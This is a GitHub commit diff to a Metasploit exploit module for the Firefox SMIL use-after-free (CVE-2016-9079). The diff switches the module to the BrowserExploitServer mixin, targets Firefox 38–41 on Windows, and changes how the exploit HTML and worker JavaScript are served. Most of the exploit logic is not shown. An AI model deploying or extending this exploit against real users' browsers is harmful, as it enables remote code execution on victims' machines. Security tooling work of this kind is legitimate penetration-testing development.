Skip to content

Commit b4a9bfc

Browse files
committed
Land rapid7#7895, Update firefox_uaf_smil to use BrowserExploitServer
2 parents 321fa91 + 3c6fa12 commit b4a9bfc

File tree

1 file changed

+19
-23
lines changed

1 file changed

+19
-23
lines changed

modules/exploits/windows/browser/firefox_smil_uaf.rb

Lines changed: 19 additions & 23 deletions
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,7 @@
88
class MetasploitModule < Msf::Exploit::Remote
99
Rank = NormalRanking
1010

11-
include Msf::Exploit::Remote::HttpServer
11+
include Msf::Exploit::Remote::BrowserExploitServer
1212

1313
def initialize(info={})
1414
super(update_info(info,
@@ -25,9 +25,17 @@ def initialize(info={})
2525
'William Webb <william_webb[at]rapid7.com>' # Metasploit module
2626
],
2727
'Platform' => 'win',
28+
'BrowserRequirements' =>
29+
{
30+
source: /script/i,
31+
os_name: OperatingSystems::Match::WINDOWS,
32+
ua_name: HttpClients::FF,
33+
# Fixed in Firefox 50.0.2
34+
ua_ver: lambda { |ver| ver.to_i.between?(38, 41) }
35+
},
2836
'Targets' =>
2937
[
30-
[ 'Mozilla Firefox',
38+
[ 'Mozilla Firefox 38 to 41',
3139
{
3240
'Platform' => 'win',
3341
'Arch' => ARCH_X86,
@@ -40,11 +48,11 @@ def initialize(info={})
4048
'InitialAutoRunScript' => 'migrate -f'
4149
},
4250
'References' =>
43-
[
44-
[ 'CVE', '2016-9079' ],
45-
[ 'Bugzilla', '1321066' ]
46-
],
47-
'Arch' => ARCH_X86,
51+
[
52+
[ 'CVE', '2016-9079' ],
53+
[ 'URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=1321066' ],
54+
[ 'URL', 'https://www.mozilla.org/en-US/security/advisories/mfsa2016-92/' ]
55+
],
4856
'DisclosureDate' => "Nov 30 2016",
4957
'DefaultTarget' => 0
5058
)
@@ -60,7 +68,7 @@ def exploit_html(cli)
6068
p = payload.encoded
6169
arch = Rex::Arch.endian(target.arch)
6270
payload_final = Rex::Text.to_unescape(p, arch, prefix='\\u')
63-
base_uri = "#{get_resource.chomp('/')}"
71+
base_uri = get_module_resource
6472

6573
# stuff that gets adjusted alot during testing
6674

@@ -248,28 +256,16 @@ def worker_js(cli)
248256
send_response(cli, c, { 'Content-Type' => 'application/javascript', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })
249257
end
250258

251-
def is_ff_on_windows(user_agent)
252-
target_hash = fingerprint_user_agent(user_agent)
253-
if target_hash[:ua_name] !~ /Firefox/ or target_hash[:os_name] !~ /Windows/
254-
return false
255-
end
256-
return true
257-
end
258-
259-
def on_request_uri(cli, request)
259+
def on_request_exploit(cli, request, browser_info)
260260
print_status("Got request: #{request.uri}")
261261
print_status("From: #{request.headers['User-Agent']}")
262-
if (!is_ff_on_windows(request.headers['User-Agent']))
263-
print_error("Unsupported user agent: #{request.headers['User-Agent']}")
264-
send_not_found(cli)
265-
close_client(cli)
266-
return
267-
end
262+
268263
if request.uri =~ /worker\.js/
269264
print_status("Sending worker thread Javascript ...")
270265
worker_js(cli)
271266
return
272267
end
268+
273269
if request.uri =~ /index\.html/ or request.uri =~ /\//
274270

275271
print_status("Sending exploit HTML ...")

0 commit comments

Comments
 (0)